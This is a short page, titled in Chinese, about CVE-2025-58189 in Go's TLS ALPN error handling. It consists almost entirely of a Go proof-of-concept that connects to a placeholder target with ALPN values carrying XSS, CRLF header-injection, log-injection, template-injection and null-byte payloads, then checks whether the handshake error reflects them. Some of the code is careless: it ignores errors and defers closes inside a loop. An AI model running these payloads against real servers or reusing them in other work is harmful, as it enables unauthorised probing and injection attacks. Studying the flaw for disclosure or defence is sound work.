Go语言TLS ALPN协商错误信息泄露漏洞(CVE-2025-58189)

// CVE-2025-58189 PoC - ALPN Information Disclosure // This PoC demonstrates how an attacker can inject malicious content // into ALPN protocol list to trigger information disclosure package main import ( "crypto/tls" "fmt" "net" "strings" ) func main() { // Malicious ALPN protocols that could trigger information disclosure maliciousALPNs := []string{ "h2<script>alert(1)</script>", // Potential XSS in error logs "http/1.1\r\nInjected-Header: malicious", // Header injection "\n[ERROR] Fake error log entry", // Log injection "h2{{.template injection}}", // Template injection attempt } // Connect to target server targetAddr := "target-server:443" for _, alpn := range maliciousALPNs { fmt.Printf("Testing malicious ALPN: %s\n", alpn) // Create custom TLS config with malicious ALPN config := &tls.Config{ InsecureSkipVerify: true, // For testing only NextProtos: []string{alpn}, } // Attempt connection conn, err := net.Dial("tcp", targetAddr) if err != nil { fmt.Printf("Connection error: %v\n", err) continue } defer conn.Close() tlsConn := tls.Client(conn, config) err = tlsConn.Handshake() if err != nil { // Check if error message contains our injected content errorMsg := err.Error() if strings.Contains(errorMsg, alpn) { fmt.Printf("VULNERABLE: Error contains injected ALPN: %s\n", errorMsg) } } } } // Detection script for checking if error logging is vulnerable func CheckVulnerability(targetAddr string) bool { // Send malformed ClientHello with special characters in ALPN maliciousPayload := "h2\x00injected\x00data" config := &tls.Config{NextProtos: []string{maliciousPayload}} conn, _ := net.Dial("tcp", targetAddr) tlsConn := tls.Client(conn, config) err := tlsConn.Handshake() if err != nil { // If error message reflects the input without sanitization return strings.Contains(err.Error(), maliciousPayload) } return false }